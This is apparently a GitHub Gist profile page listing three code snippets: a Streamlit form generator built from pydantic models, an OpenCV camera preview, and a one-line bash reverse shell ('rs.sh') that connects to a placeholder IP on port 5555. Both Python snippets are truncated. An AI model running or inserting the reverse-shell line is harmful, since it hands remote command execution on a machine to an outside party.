Skip to content

Instantly share code, notes, and snippets.

View yechielb2000's full-sized avatar
๐Ÿ‚
Chilling

Yechiel Babani yechielb2000

๐Ÿ‚
Chilling
  • Israel
  • 13:04 (UTC +03:00)
View GitHub Profile
@yechielb2000
yechielb2000 / pydantic_model_to_form_streamlit.py
Last active August 8, 2024 12:06
For Streamlit users: This is a way to take your pydantic model and make it a form, your welcome <3
from datetime import datetime
from typing import Optional
from pydantic import BaseModel
import streamlit as st
def generic_form(model: BaseModel, model_name: str) -> st.form:
form = st.form(key=f'form_{model_name}')
if model_name not in st.session_state:
model_params = {k: None for k in model.model_fields.keys()}
@yechielb2000
yechielb2000 / rs.sh
Last active February 18, 2024 23:08
bash reverse shell
bash -i >& /dev/tcp/<ip>/5555 0>&1
@yechielb2000
yechielb2000 / camera preview.py
Created September 16, 2022 15:04
Camera preview :)
from typing import Any
import cv2
def create_window() -> None:
cv2.namedWindow("Preview")
create_video_capture()
if video_capture.isOpened():
returned_value, frame = video_capture.read()